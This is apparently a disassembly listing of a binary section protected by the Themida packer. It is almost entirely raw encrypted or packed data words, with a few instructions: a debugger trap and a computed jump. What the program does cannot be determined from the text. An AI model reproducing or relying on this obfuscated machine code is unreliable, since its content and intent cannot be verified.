dd 0A8B84E6Fh, 244D54E2h, 8AA10356h, 0E4302571h, 0AE58B1F7h
dd 575E7932h, 0DC94E8Ch, 26BADA20h, 0B9C080DEh, 2277CCh
dd 9F3C9E74h, 0EC22005Eh, 0F280DDECh, 0EDA3D91Fh, 0A2A980DDh
dd 0D4866981h, 15C5AEC3h, 25650A02h, 1DB25EB2h, 18A45h
dd 0E9EEAF00h, 2E29EBD4h, 6F683019h, 0B2A5715Ah, 0F6E1B49Dh
dd 0AFF6D3E1h, 0EDD6EBECh, 2F182D2Ah, 6F586D6Ah, 0B393A8AFh
dd 0F598CE14h, 49ECBAAh, 17C756h, 183FDA13h, 8B68804Dh
dd 1F0CC84Dh, 18174D9h, 5E737ADBh, 0C5110672h, 0E6E092D8h
dd 6EA7DB07h, 0D595ADAAh, 0E686BC02h, 0AE69DB07h, 6311DEA9h
dd 0F94E3B5Ch, 0FF631BC0h, 0AB19C786h, 5E41597Ah, 9D869BBCh
dd 760FDAFDh, 0AF7A9D3Dh, 3126CAE2h, 0EEB2F8E5h, 0F4E2B6B0h
dd 17C700EDh, 5002EB00h, 0CD7C097h, 0F8311E3Fh, 9B683324h
dd 0EF68A683h, 5603A477h, 88A97641h, 0E2CFF0BDh, 5EE21B9Ch
dd 221A21EAh, 0E4332847h, 0C8532BC0h, 0ED000000h, 2D162B2Ch
dd 6A53686Fh, 0AB94A9AEh, 0EAD3E8EFh, 9172C2Bh, 2136E5C0h
dd 6374230Ch, 0A7B0654Eh, 0EEE9A992h, 145AF9D9h, 0CBAAF5DEh
dd 69C4AE4h, 83D8C511h, 5970073Dh, 19060DD3h, 59709DD3h
dd 849CA3D3h, 0E6773F85h, 0C67DDB07h, 91865314h, 0B33FA570h
dd 71D47B56h, 28F31435h, 0D7ECEBABh, 602B2CEEh, 8385A5C7h
dd 2AE2C94Dh, 71C1F73Dh, 0C0C7DB07h, 3726B8A8h, 3732E0E3h
dd 0AE9D3DCCh, 0E3373268h, 3ACB2CE0h, 9DE63C93h, 0B2C7E8EFh
dd 430E09C9h, 3C0710C6h, 27F730C1h, 80986530h, 0AB6BFA65h
dd 47E3C13h, 0DB95C134h, 9EF0FD28h, 0C9DEFF74h, 2C193EE0h
dd 6B3621F3h, 0D1A9869Eh, 3, 0C73EDC13h, 0B9360116h, 0B633FE19h
dd 0AE2BF6E1h, 0A421ECEBh, 9E1BE6F1h, 900DD8FFh, 8502CDCAh
dd 7CF9C4D3h, 3CF4BFD8h, 81E78957h, 4C7h, 4EF8100h, 87000000h
dd 895C243Ch, 0EC812404h, 4, 68241C89h, 0F2Ah, 81240C89h
dd 4ECh, 240C8900h, 0AE76DEB9h, 59CB8907h, 7AE768h, 24248900h
dd 4240481h, 59000000h, 0DF895755h, 895FFD89h, 8B5D0869h
dd 8957240Ch, 4C781E7h, 81000000h, 4C7h, 243C8700h, 241C8B5Ch
dd 81E28952h, 4C2h, 4C28300h, 5C241487h, 0FA026AE9h, 65EA77FFh
dd 0BEE6271Bh, 0B780124Fh
; ---------------------------------------------------------------------------
pop esp
int 3 ; Trap to Debugger
loc_5E91BE: ; CODE XREF: Themida_:loc_5E8B06j
mov eax, 7AE7CC7h
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
db 0F6h
dd 743C2464h, 0F7651A2Fh, 893B4DE2h, 5C6C5037h, 5E10E768h
dd 0E81E7193h, 0Dh, 21B6CF84h, 0E992D9C4h, 21DD32CEh, 5ECA8BA1h
dd 0FE9h, 5B00EF00h, 8D9A6699h, 8BDA073Ah, 0B7743699h
dd 646EC681h, 81660000h, 0BA6567D9h, 2694C560h, 0AC88EA81h
dd 13E92694h, 74000000h, 0A1AC8B9Fh, 337A42Ch, 0D1BC4510h
dd 0E078506Fh, 36FF3430h, 0F5BC6B1h, 2087h, 8E800h, 0CFC50000h
dd 8D6F4461h, 0DE936BDh, 26000000h, 0D7C1ED5Ch, 0BD501A18h
dd 0D1C1DF1Bh, 7FEB8158h, 0FC19E5D3h, 0ACFAEB81h, 0EE95D8Bh
dd 81000000h, 5212E173h, 0FF946A4Dh, 7C204E74h, 0A7F3819Ah
dd 817F1440h, 0E827F6DFh, 10E85310h, 9000000h, 0E3A3A8Eh
dd 3EC1A277h, 4A628EA1h, 0F8B0360h, 188Fh, 13E900h, 0F1280000h
dd 9B408D7h, 2CEBFDB1h, 64CA30B6h, 84627862h, 68F5FC9h
dd 83CB8B66h, 585304EEh, 10850F4Ah, 0B9000000h, 2B44D62h
dd 19E9h, 0E09DB00h, 0E98A0CC4h, 0FFFFFF4Eh, 2C9ED988h
dd 88E2D7FBh, 0FA3E268h, 1EE94489h, 60000000h, 7001D1h
dd 6 dup(0)
dd 4E9E900h, 0C1680000h, 0E907AE7Fh, 0FFFA00F3h, 0AE803368h
dd 0E9E907h, 0A368FFFAh, 0E907AE81h, 0FFFA00DFh, 1F3423F4h
dd 5C716636h, 9DB2A573h, 0DCF1E6B4h, 223720F3h, 2DF0B514h
dd 6D2C152Ah, 0AF6C556Ah, 0E8AA93A8h, 5BFADAEFh, 0AAF2DF15h
dd 844BE5CBh, 71898E4Bh, 314C78Bh, 0FC1BBB38h, 4CD83DE7h
dd 7B68898Eh, 1994835h, 74BA0FDBh, 0DB01993Eh, 65253D44h
dd 0D61C715Eh, 0DB0199A0h, 0F7C2D583h, 88757C2Ah, 1990C42h
dd 0F30B12DBh, 99528C16h, 6635DB01h, 6B29A671h, 4758A16Ch
dd 6764FDDCh, 6923E45h, 0DBE9DC21h, 7F823C30h, 0ADC8E0AAh
dd 36DC9642h, 0EC25E3FFh, 23000002h, 0DA1056ABh, 0E0D35970h
dd 54DAC1D9h, 0CBB81CF9h, 1766485h, 3A636ADBh, 66DCAB6Ch
dd 8C48CDD8h, 0F4B4599Fh, 0B3BAE00Eh, 69ADAAE8h, 2FDB367Ch
dd 0DAE1E7B7h, 0F5E2B4EDh, 8027F7E0h, 77F4BFD8h, 1CE9B4A3h
dd 0A0E2DAFBh, 1FE76BDFh, 340B28Ah, 55060000h, 90442D42h
dd 0CF897287h, 0CCAB3C8h, 4E0DF60Bh, 0A3263449h, 2F445302h
dd 6F849346h, 0B1C6D186h, 0EC0116C8h, 0F1276D0Ch, 0F7CBAAF0h
dd 1106AF5Dh, 6183D8C5h, 0ACED4425h, 6E97749Dh, 2E5B3EF8h
dd 2E4F480Ch, 3B822616h, 8188DB07h, 9FB85B94h, 0E5F2A18Ah
dd 3B55901Ah, 6638DB07h, 14B34CD8h, 0ABCC8E6Bh, 9BCDA5B3h
dd 0E7BF54F4h, 2CEh, 0BFD4C394h, 0FC1106D6h, 3D524513h
dd 7C918654h, 0C2D7C093h, 0CD9015B4h, 0DCCB5CAh, 4F0CF50Ah
dd 884A3348h, 0FB9A7A8Fh, 0AAF07FB5h, 3DEB85CBh, 722C1106h
dd 8BC107BEh, 91D3594Dh, 33ED08Ah, 4B917E9Fh, 0DB0710A7h
dd 51DBA6ADh, 0DB071017h, 3AE1932h, 0F70F08CAh, 0F59DB3F7h
dd 0AB6AA3E3h, 0C07894ACh, 76000001h, 130017C7h, 704278BEh
dd 4148D359h, 0FCF4C29h, 0CC49F308h, 94D51B08h, 9ADB0198h
dd 43EC893h, 1FDB0198h, 0BBEF9B06h, 7EE3F025h, 7Ch, 1511067Ch
dd 0D2845542h, 7EB7A4C5h, 71A7EDDEh, 77D35970h, 38374F70h
dd 176BDF2h, 8B4B84DBh, 0DCF4C18Ch, 0D328151Ch, 176578Dh
dd 3E565DDBh, 769DD761h, 0DA80DB01h, 18565024h, 0FE1F0EBEh
dd 1EAFCD33h, 0A3AE4277h, 461106D2h, 3D3167ADh, 3037DB02h
dd 8665D045h, 559BF0EDh, 0DB023D1Fh, 76415602h, 0DCF4FBA9h
dd 0E0AA56C1h, 39E3FF32h, 9Dh, 2433E51Eh, 8E748C59h, 350017C7h
dd 27F2E5B8h, 24EFE8AAh, 0CBE0F7A7h, 597579D5h, 9DBA5CD3h
dd 0D179DE88h, 5975558Bh, 33545BD3h, 23560046h, 555CDB04h
dd 3DDA1368h, 0A4824F1Ah, 0DB04236Eh, 56556D74h, 44597E1Dh
dd 2BEFB85Bh, 23E41A60h, 0E3EADB04h, 92AF7C2h, 9CD35D11h
dd 5F37CCF4h, 15Eh, 4F647324h, 8CA1B666h, 0CDE2F5A3h, 0C2136E4h
dd 52677023h, 7D208544h, 0BD5C455Ah, 0FF9C859Ah, 38DAC3D8h
dd 8B2A0A1Fh, 0AAEF0F45h, 0CD7B15CBh, 0EE0314C7h, 2D425505h
dd 17C741h, 0F1E6B835h, 0F12532DCh, 0BED1BE04h, 7698DB01h
dd 0C9EB4723h, 52122AEDh, 76255E4Bh, 0F54A4961h, 0A3B467A0h
dd 17C8FC5h, 0B3A472DBh, 666D1BE8h, 0E3A86B4Eh, 7C12488Eh
dd 1118DB01h, 17BFD33h, 0DBFC03DBh, 7C96D0C6h, 0D979DB01h
dd 0C298D1BEh, 253D0AD5h, 0A14615FEh, 0B2F8E5F2h, 0DB017C7Ch
dd 8F5A7B82h, 4E19BDF6h, 0F0BD888Fh, 0AF79B7CFh, 0A2000000h
dd 0DFAAAD69h, 614FA12h, 56411511h, 0B09DBE8Bh, 5004A377h
dd 8E5B2647h, 9893D0D4h, 0E0F8E297h, 0EFF39BE1h, 0F2F9DB06h
dd 0EFE8AA27h, 3167AD02h, 37DB06F0h, 9BBC5F30h, 0A3735C83h
dd 0FC5FE9B4h, 0DF52B642h, 0D4511C3Bh, 14A1502h, 0FEA685F0h
dd 49099803h, 0B7D8FF9Eh, 0FE19B9A2h, 0F7E0B633h, 1403D10Ah
dd 87647C49h, 65F45F0Ch, 3324F2B5h, 6C032512h, 85BB0184h
dd 8B52B613h, 3438CA84h, 0D2E29E9h, 90C9CEF5h, 58FECFC8h
dd 8FA7743Fh, 22EDEAACh, 154Ah, 97517300h, 40775F89h, 0DCDAC0D8h
dd 0AC630325h, 0A28C412Bh, 16C7A48Ah, 19B93601h, 0E1B633FEh
dd 0EBAE2BF6h, 0F1A421ECh, 0FF9E1BE6h, 0CA900DD8h, 0D38502CDh
dd 0D87CF9C4h, 833CF4BFh, 0C8904ECh, 81E18924h, 4C1h, 4E98300h
dd 5C240C87h, 45A968h, 24348900h, 4A2E68h, 243C8900h, 40436851h
dd 495955A2h, 0D1F7D1F7h, 0F181D1F7h, 0ADF3C16Eh, 5459CE89h
dd 81243C8Bh, 4C4h, 0C7F6800h, 34890000h, 8478F24h, 5F2434FFh
dd 4C481h, 348B0000h, 0E6895624h, 4C681h, 0C6830000h, 24348704h
dd 0FC19E95Ch, 4790FFF9h, 0B8412A99h, 7AE8326h, 0E0FFC503h
dd 516F629Eh, 52537724h, 0E6C3B1Eh, 651230E3h, 84458D8Dh
dd 8B6607AEh, 318D89D8h, 2907A817h, 0A81D3D9Dh, 5985C707h
dd 8807A80Ah, 8900006Ch, 0A8328185h, 3985C707h, 7A809h
dd 6A000000h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 17042444h, 41000000h, 2A28C351h, 0B5FFDF8Ah, 7A810A9h
dd 0FFD88BF8h, 0A81A9995h, 52006A07h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1C04h, 0C3524200h, 0FBB422D9h
dd 6E1F889Fh, 0C1858B25h, 6A07A805h, 2195FF00h, 8B07A80Dh
dd 4549EBC0h, 0DC3984D2h, 0B494E918h, 0F844DC25h, 6D35F156h
dd 81E1E08Fh, 127FD9DBh, 3044D4D0h, 2559C328h, 6E5095EFh
dd 0B7778990h, 0F1932ECDh, 604F5CA8h, 0E7A2D59Eh, 3D129A1Dh
dd 31A9D603h, 97A9942Ch, 0BE4570Bh, 7E036562h, 85268D8Dh
dd 6A07AEh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h
dd 57470000h, 9D8985C3h, 7A81879h, 17318D89h, 6A07A8h
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h
dd 0CDF357C3h, 0F304B853h, 0C75A76A6h, 0A80A5985h, 5A7007h
dd 318D8900h, 0C707A80Fh, 0A8093985h, 7, 0D3B70F00h, 0BBDB5FFh
dd 0CBE07A8h, 0FF716E21h, 0A81A9995h, 9D896007h, 7A8133Dh
dd 61F3B70Fh, 95FF006Ah, 7A80D21h, 3EEBC08Bh, 9B78E1D9h
dd 0E81CDB3Eh, 0AF9AB839h, 0F92AE11Bh, 9133D8DCh, 789D6293h
dd 7B58BD27h, 1AFB118Dh, 0EB87F351h, 548CC48Eh, 95C304D6h
dd 8EFE7ECCh, 80D0BEA1h, 0A4EBB585h, 2CE98044h, 8E8012Ch
dd 89000000h, 0BF265D40h, 946973Eh, 0A80CD9BDh, 0BD895807h
dd 7A82379h, 5E15C081h, 95010000h, 7A82DEDh, 3EF64ABFh
dd 15F78110h, 29103EE1h, 0A833E58Dh, 6630FF07h, 5AC0CBBEh
dd 219BD981h, 0F28110C4h, 2D41234Dh, 880Fh, 0C2810000h
dd 33804D4Dh, 0BD6ABE66h, 8B8BEA81h, 958958B9h, 7A80025h
dd 0ADB58952h, 8F07A808h, 7E900h, 77F70000h, 88BB0665h
dd 4E8834Bh, 313D9D09h, 0EF8307A8h, 0AA850F01h, 0FFFFFFFh
dd 0F80h, 0AE900h, 7A5C0000h, 619C8937h, 0BBAB919Bh, 0B160C653h
dd 9FBE595Dh, 0D13256AEh, 0B13247BEh, 4BA7EFABh, 0F57A60D0h
dd 788628Eh, 9F68BF13h, 0A1DA5598h, 8332565Dh, 4AB4D106h
dd 0D34B5DC6h, 29450210h, 0E8F43139h, 0E832568Bh, 0B1325677h
dd 0EDA74532h, 0B6BEB3F7h, 58C756AEh, 0B1325658h, 90C6112Eh
dd 0C84A09CFh, 60F9FD2Bh, 210C7FE9h, 0B0300F94h, 4432565Dh
dd 305256AEh, 0CC98AF8Ch, 0B13237C8h, 0B139D4DAh, 0B7DB56EAh
dd 85325675h, 8126D9FBh, 49325685h, 373D56AEh, 0B132565Bh
dd 0B134DCA4h, 323D56D5h, 0B13256EAh, 353D5675h, 0B13256A0h
dd 0B122BF3Dh, 494756AEh, 9FD1DAD6h, 9A2C0AE2h, 0A20164Dh
dd 0E3DF3CEh, 2EF03782h, 0BBDA56E7h, 0D832565Dh, 63827A43h
dd 52DEC256h, 69B33065h, 0E06DBC50h, 581846Bh, 0D0682043h
dd 0E05256BAh, 0F0C9CE2h, 61B90CB9h, 0EEB2DA36h, 0BE5256ABh
dd 30548C62h, 0D0324818h, 0B1C75675h, 0B13CBFBAh, 0CA5F565Dh
dd 5B45102Eh, 57154D32h, 31201915h, 0B1C756D5h, 4D6336EAh
dd 4F85592Eh, 0B132A3DBh, 0B13AD352h, 3D3D56AEh, 0B1325655h
dd 0B1C737CBh, 0B132AFD5h, 0C428EF8Ah, 0BFDA48B1h, 473256BAh
dd 9930C0DFh, 555F1E8Bh, 22C5783Eh, 0EE533623h, 583256B4h
dd 0B13256E6h, 922ED2B2h, 0E8763DC9h, 83D0C77Dh, 0BADB56AEh
dd 0E4325657h, 46FBDE32h, 4BF06391h, 0B13236E6h, 0B133D37Ah
dd 48CE56BAh, 0B1CB565Dh, 0B13EBFAEh, 35A85657h, 0DB3DE6Ah
dd 8044F298h, 0B1324D69h, 0B133D17Ah, 0B1CB56BAh, 0B8DB365Dh
dd 683256AEh, 114CE095h, 675CA8F5h, 0D0E4E9DAh, 323D56EAh
dd 0B132567Ah, 0B1325C53h, 0A58CC5Dh, 8E3F9EB2h, 0B1B82956h
dd 0B132AEABh, 0B1325B3Ch, 9B82A2EAh, 85F57157h, 0DA7B51C5h
dd 0B1321437h, 0B13EDCA1h, 323D5657h, 0B13256ADh, 0B132DDDAh
dd 0B13256EAh, 0B121BE15h, 70B56BAh, 4F50846h, 0C5654D1Bh
dd 9A781931h, 87C85ABFh, 0EA6C0142h, 0F5E2F53h, 0B132377Eh
dd 0B133D6B5h, 0B3CB565Dh, 3E3256AEh, 0B1325642h, 61B330CBh
dd 0B9DAA0AAh, 7E3256EAh, 856F781Ah, 0EE8FE647h, 0D132563Ch
dd 0B1324247h, 66B8357h, 0AB230C4h, 0C4B90067h, 60BCB8C2h
dd 0E23C48BCh, 0D0C1DD82h, 0B5358EA5h, 0A73254AEh, 88325257h
dd 0D6324FABh, 0E4A6CED4h, 645E8E65h, 363D5675h, 0B13256A3h
dd 0B13242B4h, 5E2B72AEh, 0C19A336Eh, 3D0E1DBCh, 0E80DC399h
dd 5AA48B33h, 583256FAh, 0B13256B2h, 3B1A27A8h, 9AB2207Bh
dd 3F3D5657h, 0B13256A3h, 0B130D5DAh, 0D05256EAh, 0B1CE5675h
dd 0E5436BAh, 47B37049h, 0FE03A9BFh, 58325636h, 0B13256B8h
dd 0CBD6BED4h, 63CA0605h, 0ECFCB6Ch, 3BDE5BF5h, 5832EF3Ch
dd 0B13256A8h, 1E560B09h, 0B132CC2Eh, 0E6325629h, 0B13256E8h
dd 0F7F8CC90h, 0D13256C3h, 0C6F2A1DCh, 0F5431FFh, 0D1537456h
dd 0D7C1E9A4h, 0D01BD06Ch, 0B36556EAh, 0B1325672h, 9E9FA4C2h
dd 0D0BF6F5Ah, 21CB56AEh, 0B1325DBEh, 3C16E1ABh, 38A20597h
dd 0F48EF964h, 58AE3625h, 0B13256B6h, 0F2C0AB09h, 2E0CAF6Eh
dd 0A78E3BBh, 0A7DBD7CDh, 0B13EBFEFh, 0DCB656EAh, 0D8C265D7h
dd 942ED954h, 0E1AFFDA7h, 0D06AA11Dh, 2C3256C7h, 28D2B5B9h
dd 0E43E698Bh, 77935E79h, 0E3EFE2F2h, 2FEB7699h, 58A71A22h
dd 0B13256BEh, 0C644476Fh, 0A2301B4Fh, 0DE7C1F85h, 3A685396h
dd 0E96837E8h, 0B13EBFEAh, 0C26565Dh, 8B2551Ch, 0C49E09A9h
dd 88A42DA1h, 441E89ABh, 0E9AFAD60h, 2C41C514h, 0BE538031h
dd 0D160066Ch, 0D10359CFh, 0EB6A0C36h, 9576DFF3h, 0B137BFD1h
dd 6F2B56EAh, 0E9E7DACAh, 9576DF71h, 0D1600659h, 90CBEFC8h
dd 0BE5387DCh, 3589369Ah, 0D120075Ch, 0E968378Bh, 0FD4DC82Dh
dd 0EBA9FC2Fh, 7BB9C505h, 483256CFh, 0BE3256A2h, 0B1324020h
dd 0B123BFD5h, 91C156EAh, 205C451Eh, 677FBBAh, 46826156h
dd 0B1C69B5Bh, 0D7C73657h, 3CD19E2Ah, 583256B4h, 0B13256E7h
dd 2A70BC77h, 0DA74CA02h, 0C6537694h, 4D3256B1h, 3E3D5657h
dd 0B13256A8h, 0B153AEB5h, 0B6B259EAh, 0BE325675h, 0B1325735h
dd 0B132AE5Dh, 0B137D8A1h, 48525657h, 0B1538720h, 0B134BFD5h
dd 6E0256EAh, 0A6C7B7F9h, 495256BAh, 0D153ADD6h, 0B1539125h
dd 0B134BF57h, 66F256ABh, 0E2F26BC4h, 0B1CA56EAh, 0B13EBF75h
dd 0AB3C56BAh, 0DF59FBABh, 0D450E57h, 393D3BBCh, 0B13256AAh
dd 4932562Dh, 5868048Ah, 0B1325670h, 2EA69CFAh, 0B13237B6h
dd 0B1325F47h, 2406E357h, 762BDA7Ch, 0B1326D53h, 6EAD78Ah
dd 0D753AFEEh, 58539531h, 0B1325652h, 0EE5F5355h, 8C910E02h
dd 7A519B81h, 0B161D5FCh, 305436EAh, 0BEE339B4h, 0B1325530h
dd 6F85595Dh, 0D13256CFh, 30549EDDh, 0D0997065h, 0B1CA56D5h
dd 0B139BFEAh, 0D0FC5675h, 1EAB242Fh, 0D5A60FFDh, 0B123BF2Ah
dd 0EF955657h, 52186590h, 908C5639h, 283AF4D6h, 0B1724570h
dd 69B936BAh, 0B123BF3Ch, 5B6F56AEh, 405A5BC4h, 0EE3C84BCh
dd 0FE7EA899h, 0B11DCEBAh, 0B13CBF75h, 96D856BAh, 4FC852C2h
dd 12D1F97Ch, 4C5E7649h, 0B1CB56ABh, 0B2B659D5h, 0D13256EAh
dd 0B132378Ch, 0BE325642h, 0B13251D6h, 0CD8736AEh, 0D007B2D7h
dd 0A5DB56ABh, 213256D5h, 179AD7Ah, 474D0B4Eh, 3B492982h
dd 95C6CAFBh, 0B1D06222h, 0B13EBF57h, 188D56ABh, 0EA3118Dh
dd 5BB5EA59h, 0B132D320h, 738559DAh, 5C1CCDE4h, 0B13237FBh
dd 0B138DB58h, 305256ABh, 1B1E3704h, 0D06A05D6h, 0B132599Ch
dd 2E76C7BAh, 0D3E78806h, 0C3166451h, 7931F9A5h, 0BEDB56ABh
dd 503256D5h, 4595481h, 37E78C84h, 547EAA63h, 0B1328323h
dd 0B127D3A1h, 313D5657h, 0B13256A4h, 0B1325C3Ch, 9087CDEAh
dd 0D78E527Ch, 0B109B23Dh, 0B132AF5Dh, 0BE325652h, 0B13245DAh
dd 0B13CBFABh, 2B8A56D5h, 9BD34D45h, 82EA8A8Ch, 2C50C52Bh
dd 343D565Dh, 0B13256A9h, 31533637h, 5853324Fh, 0B13256D9h
dd 18405314h, 0A9D72800h, 2EF5CEC2h, 0E52565Dh, 0EA5CDE62h
dd 38240FE9h, 3F3D37ECh, 0B13256C7h, 0B1325B03h, 0C61D8B75h
dd 3804F2B7h, 0BD1622F0h, 0B1320BC4h, 7F8D5937h, 3B78AF13h
dd 0B1323784h, 4285598Ah, 0B7DAAE15h, 1C3256BAh, 0FD94AC41h
dd 0D0530FB9h, 0BE3256AEh, 0B1325C2Ch, 0B137BFD5h, 0AB6656EAh
dd 482F39E1h, 0B1CB56BAh, 0E060365Dh, 3A5409F6h, 0B1323796h
dd 0B1325942h, 12EDBBD5h, 1754ABD0h, 4F0FD915h, 40131B09h
dd 0B7DB565Dh, 693256AEh, 0ED2F9FE9h, 0B132AE39h, 0B13ED2DAh
dd 0B6DB56EAh, 80325675h, 834A44ADh, 0B132058Ah, 0BEDCE2CEh
dd 0B13255D9h, 76B930ABh, 583256B4h, 0B13256F9h, 80054431h
dd 760BA728h, 81C888BBh, 0FDC44D60h, 581C9590h, 0B13256B9h
dd 0E75E5526h, 0DB74EB37h, 776DDE2Ah, 6C6EA011h, 0B1326FE6h
dd 0B13DD8A1h, 0BBDB5657h, 4C3256ABh, 0B16E1DA2h, 0B0BD22A4h
dd 0BE32565Ah, 0B1325730h, 0B132A35Dh, 48325657h, 353D5657h
dd 0B13256AAh, 0D132562Dh, 0B153A560h, 0A0B15975h, 583256BAh
dd 0B1325651h, 4B0672B2h, 585533D9h, 9DB4F822h, 0D75256D5h
dd 0A2DBA661h, 0B9325675h, 0E87F8DEFh, 392DC422h, 0DB03E931h
dd 0CB15C9D7h, 0D153A06Bh, 44FCE9DAh, 5832568Bh, 0B132567Ah
dd 0E7C91B07h, 40C10D7Fh, 990D48A6h, 0B1A02A0Fh, 0B132A3ABh
dd 0B133D9DAh, 0B1CB56EAh, 0B13DBF75h, 0E2D956BAh, 1386DDDAh
dd 47841CBEh, 0C75983A6h, 4D3256E5h, 0B9DB56D5h, 0B13256EAh
dd 7517FA7Ah, 0D14FAC27h, 0B8DAF2E9h, 0A53256AEh, 5EE2380h
dd 145DDAE6h, 0EEE5E9DAh, 5832568Bh, 0B132567Ch, 80B72236h
dd 7A3CD02Dh, 4D325684h, 393D5657h, 0B13256BCh, 78B330B5h
dd 0BADB7AD5h, 4F325675h, 0AE23FF4Ch, 0BE2A842Ch, 0B153A01Ah
dd 9543657h, 0D0CB60A2h, 0A2DB56D5h, 7A3256EAh, 6A6F293Fh
dd 0BF689F4Fh, 4E76A70Ah, 9A598E0Ah, 383DCA40h, 0B13256B5h
dd 0B12AD8DAh, 0A2DB56EAh, 0D8325675h, 0A0A8C4EAh, 65B669B7h
dd 0E74727B6h, 262BAA63h, 0B132F4D0h, 0D7FBE0B5h, 2FCB9E6Bh
dd 0B9B35914h, 0BE3256BAh
dd 0B13254D0h, 0B15336AEh, 0B6B25957h, 0BE3256ABh, 0B132575Bh
dd 0B1CBAEEAh, 0B123BF75h, 0B9B356BAh, 0AC5BC353h, 0EEB01F12h
dd 0E8D39E07h, 0B10DE770h, 0B132AFD5h, 0D1325616h, 0B123BF8Ch
dd 424756BAh, 0E2B99236h, 964F8909h, 0AD4EF4FFh, 0D0550810h
dd 0B6DB56D5h, 563256EAh, 9220CEC8h, 0B13269F3h, 0B1325FB4h
dd 0C0AD2CAEh, 6A7E7C05h, 0BE526511h, 2D808862h, 4832568Bh
dd 0B1CA5675h, 0B9DBAEBAh, 832565Dh, 5B35DC4Ch, 0B1298082h
dd 0B6B159ABh, 0BE3256D5h, 0B132576Ch, 0B132AA75h, 0D132564Fh
dd 0A00DE93Bh, 583256CFh, 0B1325645h, 3BCDFCB5h, 0DADE2A47h
dd 4FC06D05h, 61B8E3EFh, 0B132C346h, 0B118DB52h, 585256AEh
dd 0B1325646h, 0DDA354E2h, 0A3D40589h, 9A740A7Bh, 643E13D5h
dd 0B13EBEA2h, 4AF7565Dh, 0DFAE7600h, 72B8D033h, 0D0689C68h
dd 0B1CA56D5h, 0B132AFEAh, 0D1325689h, 48D1ECDCh, 0D0EADD3Bh
dd 0BE5256AEh, 0B13250D9h, 0B1BB59ABh, 583256D5h, 0B13256E4h
dd 0E52A17F2h, 0F99D2748h, 3403F6CAh, 0B1539442h, 63D3657h
dd 0B7DA365Ch, 263256D5h, 36966AC9h, 353D08B7h, 0B13256BAh
dd 0B132373Ch, 7B8559CEh, 19F9D705h, 0E80B3F6Fh, 0D13256B4h
dd 30C6DC8Ah, 9C46C79Bh, 585337ACh, 0B1325658h, 0B827CF96h
dd 0BE3256A7h, 0B132572Eh, 0B132AFD5h, 0BE325613h, 0B13258FDh
dd 0B13BBFBAh, 5274565Dh, 0E36A3806h, 0B16EFF1Ch, 0B132AFABh
dd 0B132AE2Dh, 0B1325303h, 5AB72075h, 0B1321AAEh, 0B13ED152h
dd 0BE5256AEh, 0B13256D3h, 308C30ABh, 0A0DB371Dh, 313256EAh
dd 0E0BD12F4h, 0DDF74814h, 214AB66Dh, 5A18BD7Dh, 0B4DB5657h
dd 7D3256ABh, 461D0B3Eh, 383D56EAh, 0B132567Fh, 0B1325353h
dd 6CDAB65Dh, 0B1321AC1h, 86C6D637h, 0B131D6A4h, 3A5456D5h
dd 0B1323712h, 5832568Ch, 0B13256B3h, 74DE2074h, 0C8813C6Ch
dd 0BE32562Dh, 0B1324326h, 0BEB459D5h, 583256EAh, 0B132567Fh
dd 9C06DB7Eh, 5B0481A2h, 0B1323D10h, 583256AFh, 0B13256ADh
dd 5161A04Dh, 323D1AAFh, 0B132567Bh, 0B1325F53h, 1A79D25Dh
dd 0C8A5C16Bh, 0B132F9C1h, 0B98C30CBh, 46AFED20h, 0B1532A34h
dd 0A5BA5975h, 583256BAh, 0B1325652h, 50C4700Ch, 0DAF96368h
dd 0ED0876F7h, 0B1106A74h, 0EA8936EAh, 0D7695902h, 0D08ADA05h
dd 0B13251B4h, 9CA421AEh, 2CF71F8Eh, 0B1CB56ABh, 6EB236D5h
dd 0B126BF23h, 1A785675h, 0A5ADA160h, 0ACEA805Dh, 5302C8FBh
dd 176C4ECCh, 58534543h, 0B13256C6h, 0BC8561D2h, 3DF00911h
dd 0C4018AA0h, 7975DF1Dh, 0B1397AE0h, 0B9BA5957h, 0BE3256ABh
dd 0B1325453h, 0B15336EAh, 0B6BD5975h, 0BE3256BAh, 0B13257D5h
dd 0B132AEAEh, 583256A2h, 0B13256BAh, 0C2C82551h, 9BB683FAh
dd 8F2083FBh, 0A862E036h, 0BE3256DEh, 0B1324022h, 0A1B75957h
dd 583256ABh, 0B13256DEh, 0D0E9BFF3h, 0B253226Dh, 0B16EAE20h
dd 7689365Dh, 49679E27h, 4D325636h, 585256ABh, 0B13256DFh
dd 44258CA1h, 1DDB5698h, 6FB319C5h, 0DE25C805h, 0BE3256CFh
dd 0B13257DBh, 0B132AFABh, 0A3DBA3B5h, 733256EAh, 1441397h
dd 0B4B3F586h, 0DBCD1C16h, 7E09DCC0h, 0B13237D0h, 43B930CBh
dd 0B130D3DAh, 0EA8356EAh, 0A5DA3614h, 0C73256BAh, 0BFEBCEA7h
dd 0C5DFB7BAh, 137700B3h, 14EAD81Ch, 3A5EEABFh, 0BCDB0839h
dd 3E325675h, 0C378D2CFh, 0C75D91F5h, 0F65FEB34h, 0D1325636h
dd 0D7C59E2Bh, 3B31B854h, 0B132AF8Bh, 0B1325A9Ch, 229F38BAh
dd 1E892D23h, 0F09C9C5Ch, 58325616h, 0B13256BFh, 5F21E87h
dd 0D1D559ABh, 0A7C6D0B3h, 735B094h, 94A6E34h, 0D75256AEh
dd 8946BDD6h, 0D0F4E9A4h, 0B1CE56D5h, 0B9BD59EAh, 0BE325675h
dd 0B1325432h, 0B153365Dh, 0B132AAAEh, 0B123DF58h, 0BDDB56ABh
dd 583256D5h, 0E8F02CF3h, 3B501833h, 0B1468E3Dh, 0B132AA5Dh
dd 57B330CEh, 363D43F7h, 0B13256BEh, 0B132463Ch, 7E0601EAh
dd 957D3613h, 0E04EBB03h, 34896F20h, 0B13237B0h, 0B13DBF37h
dd 6D8E56ABh, 73B9A318h, 5733E2EAh, 2067C895h, 628D5967h
dd 0D132563Ch, 393D161Eh, 0B1325657h, 0BE3256CAh, 0B1324050h
dd 0B123BFEAh, 0D3385675h, 0A18304D4h, 0C20223FEh, 4D976448h
dd 0B10F5F4Fh, 0B132AFABh, 0B1325A3Ch, 33AC81EAh, 59F9FDBh
dd 0C1F0CDE6h, 0BE3256DCh, 0B132512Dh, 0B0B45957h, 443256ABh
dd 0B1CB56D5h, 0A8B059EAh, 58325675h, 0B13256AEh, 0F6DBEBA3h
